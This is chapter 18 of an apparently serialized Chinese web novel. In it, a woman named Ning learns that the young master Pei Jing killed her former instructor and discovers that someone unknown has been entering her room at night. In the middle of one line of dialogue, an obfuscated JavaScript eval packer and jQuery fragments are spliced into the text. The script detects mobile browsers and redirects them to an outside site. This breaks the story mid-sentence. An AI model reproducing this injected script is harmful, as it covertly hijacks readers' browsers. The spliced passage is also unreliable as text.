18. 泄愤

作品:《缠腰

    这副样子实在太过反常,饶是阿宁无心在意,也不自觉注意到,心头闪过一抹疑惑,追问道:“现在关教头如何了?还在巨峰山?”


    周凛端着碗的手慢慢放下,磕在桌上发出一声闷响,顿时,阿宁心头被一种不好的预感笼罩。


    “他?”


    看出阿宁想说什么,周凛眼中一片哀色,沉重地点了头。阿宁放下手中碗筷,急道:“怎么回事呢?关教头很少出任务的,怎么会突然?”


    周凛道:“这件事,不是什么秘密,你迟早要知道的,不如现在就告诉你。是少主。”


    阿宁骇然一惊。裴镜?!


    周凛道:“他那日不知发了什么狂,突然闯入正在训练新人的山洞,在众目睽睽之下,拿剑挑断了关教头的脚筋、手筋。”


    听到这儿,阿宁倒吸一口凉气。关教头曾经也是教导过裴镜的人,怎么也算得上是半个师傅,何种仇怨,要这样当众折辱?


    阿宁急问:“然后呢?”


    周凛低下头,掩去眼底的哀色,“随后少主叫人将他装进麻袋里,当众……活活打死。”


    阿宁倏地站起身踉跄一步,仿佛那血淋淋的布袋就在她眼前,“是什么时候的事?为什么少主要这样?从前关教头待他那般好……他……怎么做得出这种事?”


    阿宁的声音已经略微发颤,周凛低声答道:“你走后两个月,谁也不知道少主那日为何失控,有人说他只是为了泄愤。”


    回想起从前在巨峰山,整日整日地练功消耗巨大,分餐少,阿宁总是吃不饱,关教头会偷偷塞给她送干粮,她舍不得一次吃完,就将饼藏起来,等到饿得受不了便咬上一口。


    关教头虽严厉冷肃,却也是也是为数不多给过她关爱的人。


    周凛又苦笑一声,带着几分自嘲,“我也是执行完任务回去复命才知道的,咱们这种人的命,主子怎会看在眼里,他这种杀人手段,显然是在泄愤。”


    鬼使神差地,阿宁反驳道:“他不是那种随意践踏人命的人!”


    在与裴镜相处的那两年里,他虽对待下人较为冷漠,却也是讲理之人。


    记得有一次婢女打破了他喜用的琉璃盏,他并没有立即问罪,反倒询问了缘由,得知是婢女是被上级欺压,两天没有合过眼,他没有问责那个婢女,反倒叫她回去休息,顺带教训了欺压婢女的嬷嬷。


    阿宁不相信他只是为了泄愤,就这样对待教导过他的关教头!


    周凛沉声道:“那你觉得他是什么样的人?就连跟了他十几年的陶文也突然不知所踪,听说也早已死于非命!”


    陶文是裴镜身边的贴身内侍,只比裴镜大三岁,两人几乎一同长大,阿宁十五岁那年,裴镜来巨峰山时便带着他,此后也一直在巨峰山,是个沉默寡言循规蹈矩的老实人。


    还不等阿宁说出个所以然,周凛又道:“你觉得他温柔、对你好,只不过是因为你事事顺着他,乖巧温顺,做什么……都可以。”


    “若是你忤逆他一次试试呢?你难道忘了前几日,他那副要杀人的凶相了吗?”


    是啊!她从未拒绝过裴镜的任何要求。


    一时间,阿宁无言以对,双目放空,余光里,周凛肩头的银甲十分显眼,透着一股生硬的冷寒,令她无故浑身一颤。


    周凛道:“在他们眼中,我们就只是可以随意打杀的奴而已,所以这悬魂索,你一定要上,我也一定会想办法保全你的性命!”


    饭后,周凛戴上护腕又急匆匆出门,阿宁收拾好屋子来到院子,这个院子的三间房,目前只住了她一人,还算清净。


    阿宁跃上树杈挑了根直溜的枯枝当做剑,在院子里练起功来。


    可不知是不是怀孕的缘故,她只是过了两套剑法,提了三成功力,便觉头晕眼花,赶紧坐到廊下休息,感叹着还好没有这样上悬魂索,再吃下化功丹,只怕悬魂索要变成送命索。


    晚饭还是那个瘦高的小兵陈耳送来的,“嫂子,头儿晚饭回不来,他让你先吃,早些休息。”


    “好,多谢!”阿宁接过食盒进屋,餐食一荤一素,与中午的大差不差,可奇怪的是,她一见到油腥就想吐,赶紧合上盖子,推得远远的。


    似乎每到傍晚,她难受的感觉就尤其明显,半点东西都吃不下口,脑袋也昏昏沉沉。


    今夜不想再打水烧水洗漱了,丢了几块银骨炭到炭盆里,脱了外套就钻进被窝,与昨夜的情况很是相似,一上床眼皮就撑不开了。


    迷迷糊糊之间,大门吱呀一声,一股冷风倒灌。


    阿宁半撑起沉重眼皮,只见床幔外一个影影绰绰的身影缓慢靠近,看身形轮廓,他已经换下劲装,穿上了长袍,身上仍旧有股昨个儿相似的酒味儿。


    阿宁嗫声问:“回来了?”


    那人愣了片刻,没有应答,阿宁忽然想起昨夜的事情,费力翻了个身背对他,低声道:“快些歇息吧。”


    说完闭上眼睛,没一会儿又倏地睁开,因为她身下的床板一沉。


    他想上她的床?


    条件反射般,阿宁一脚踹过去,不知到底使上了多大的劲儿,总之一声闷响,他滚下了床。


    阿宁叹了口气,无奈道:“你,你去那边睡。”


    此刻,正坐在冰凉地面的裴镜皱了皱眉,随即喜笑颜开,他的试探终是得到了满意的答案。


    他站起身拍了拍灰,轻手轻脚走到炭盆前,夹了两块炭丢进去续上,忽地,床上的人重重咳了几声,随即将脑袋探出床幔,捂着胸口反呕几声,又缩回去躺下发出一声叹息。


    裴镜闲适的神情猛然一惊,瞳孔骤缩,他往前冲了两步又停下,随即握紧拳头慢慢后退,强压下心头的疑虑,转身出了屋子。


    阿宁醒来时已经日上三竿,这个季节鲜少有阳光,近日沉郁的心情也敞亮了不少。


    晌午周凛没有回来,阿宁独自用饭,好在中午吃东西没有特别想吐的感觉,倒是让她舒服了不少。


    傍晚时分,周凛提前回来了,他还穿着昨日那身青灰色劲装,一进门就道:“阿宁!我置办好屋子了,你收拾收拾东西,我们明日就搬出宫去!”


    “这么快就办好了?”阿宁朝他迎上去,顺手拿起温在炉子上的茶壶,给他倒了杯热水。


    周凛兴冲冲道:“昨个儿处理完公事,我就拿上牌子出宫了,东奔西走忙活了一夜,总算拿下了一间合适的院子,贵是贵点,但你见了一定会喜欢的!怎么了?你为何这个神情?”


    阿宁重复道:“你忙活了一夜?”


    “嗯,是,不过也没有一整夜,后半夜回不来,只有暂住客栈。”周凛还以为她在心疼自己,有些不好意思地笑了笑,接过她手中茶杯吹了吹,散散热气儿后仰头喝下。


    手中的茶杯已被拿走,阿宁却始终保持着那个姿势,心中满是忐忑、慌乱,乃至是恐惧。


    他在宫外忙活了一夜,那昨晚回屋的人是谁?想上她床的人是谁?


    周凛总算察觉到阿宁的不对,急声问道:“你怎么了?有何问题?”


    阿宁深吸一口气,又问:“新婚那晚,你是什么时候回来的?”


    周凛凝起双眉,边思索边道:“那晚……我被一群


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201704|197211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    弟兄们缠着喝酒,他们都闹哄哄的,我推脱不过,不小心喝过了头,就在飞花阁的堂屋倒下了,醒来时已是深夜,我想着你如今得好好休息,未免闹醒你,干脆就没回。”


    这些话犹如道道惊雷在阿宁脑中炸开。这么说,昨晚和前晚进屋的都另有其人!


    是谁?


    裴镜?


    不可能是他!


    阿宁闭上眼睛,用力甩了甩脑袋,仔细回想那晚的情形,却想不起更多的细节。有问题,一定有问题。


    “怎么了!”周凛急问。


    “没什么,我这几日睡得不大安宁。”阿宁不想让他再忧心,只好先瞒下此事。


    周凛明显松了口气,“等出宫了,我找大夫来给你看看。”


    阿宁点点头,不动声色地转移话题:“嘉颖有消息了吗?”


    周凛面露难色:“长宁宫的消息,可不容易能探到。”


    待周凛出了门,阿宁立即起身在屋子里翻找,从外面送来的东西,除了饭菜就只有角落里的银骨炭。这种炭火是轮不到他们使的,她原以为是周凛当了统领才有这种待遇,如今看来并不简单。


    夜里,阿宁刻意没有烧炭,屋子更是漆黑一片,她躺在床上一动不动假意昏睡,眼睛却瞪大了看着门口。


    不知过了多久,一道人影窸窸窣窣地进了屋,缓步靠近,待他行至床前,阿宁立即翻身下床,用折断的筷尖刺过去。那人抓住她的手腕,急喊:“阿宁!是我!”


    周凛?


    阿宁松了口气,收回手。周凛退到桌前点燃蜡烛,昏黄的烛光点亮了屋子,也带来丝丝暖意。


    “这么晚还不睡?还这般防着我。”他的语气颇为不快。


    “……做噩梦,吓到了。”阿宁有些尴尬地将筷子一丢。


    周凛环视一圈,皱眉道:“怎么也没烧炭?这么冷你怎么受得住。”


    阿宁坐回床上,隐瞒道:“闻着想吐,就没点。”


    周凛叹了口气,起身走到对面小床,郑重道:“我将阿怜派去执行任务,本想让人在途中除掉她,却让她给逃了,不过我已放出消息,称她是私自潜逃,恐怕她也不敢自投罗网。”


    “嗯。”阿宁淡声应下,又重新躺回床上,掖好被子,想着明日就能出宫,心情好转不少。


    夜色浓重,旁侧屋脊之上伏着一黑影,一动不动,大气不敢出,尽管他甚至没有在二人所在的屋子上方监视,却依旧战战兢兢,只因他知晓屋中之人皆是高手,若他胆敢暴露,下场可想而知。


    监听如此之难,可他却丝毫不能退缩,因他那主子更是个疯子。


    周凛见阿宁将床幔压得严严实实,兀自叹了口气,又抬头往房顶上瞧去,眼神中怒意和杀气交织,想了想,转而一笑。


    若能让那总是高高在上的人也吃吃味儿,岂不爽快。


    这么想着,他心情舒畅了不少,闭眼小憩,却陷入梦魇。眼前云烟散进,他落入半山阁门前,久跪不起,而里头,灯下身影沉沉浮浮,是怎样的淫词秽语。


    那人早便识破了他的心思,偏要召了他来赤裸裸羞辱一番,硬生生让他跪在门外一个时辰,听尽心爱之人与旁人的情事。


    周凛猛然惊醒,大口喘着粗气,转头瞧见影影绰绰的床幔之中,被褥如一座小山丘微微凸起。


    那又如何?她现在终归做了他的妻子。


    翌日大早,周凛将收拾好的包裹背上,带着阿宁往宫门口去。


    行至宫门,周凛将令牌拿给守门侍卫,那侍卫看了眼令牌又看了眼阿宁,突然道:“她不能出宫。”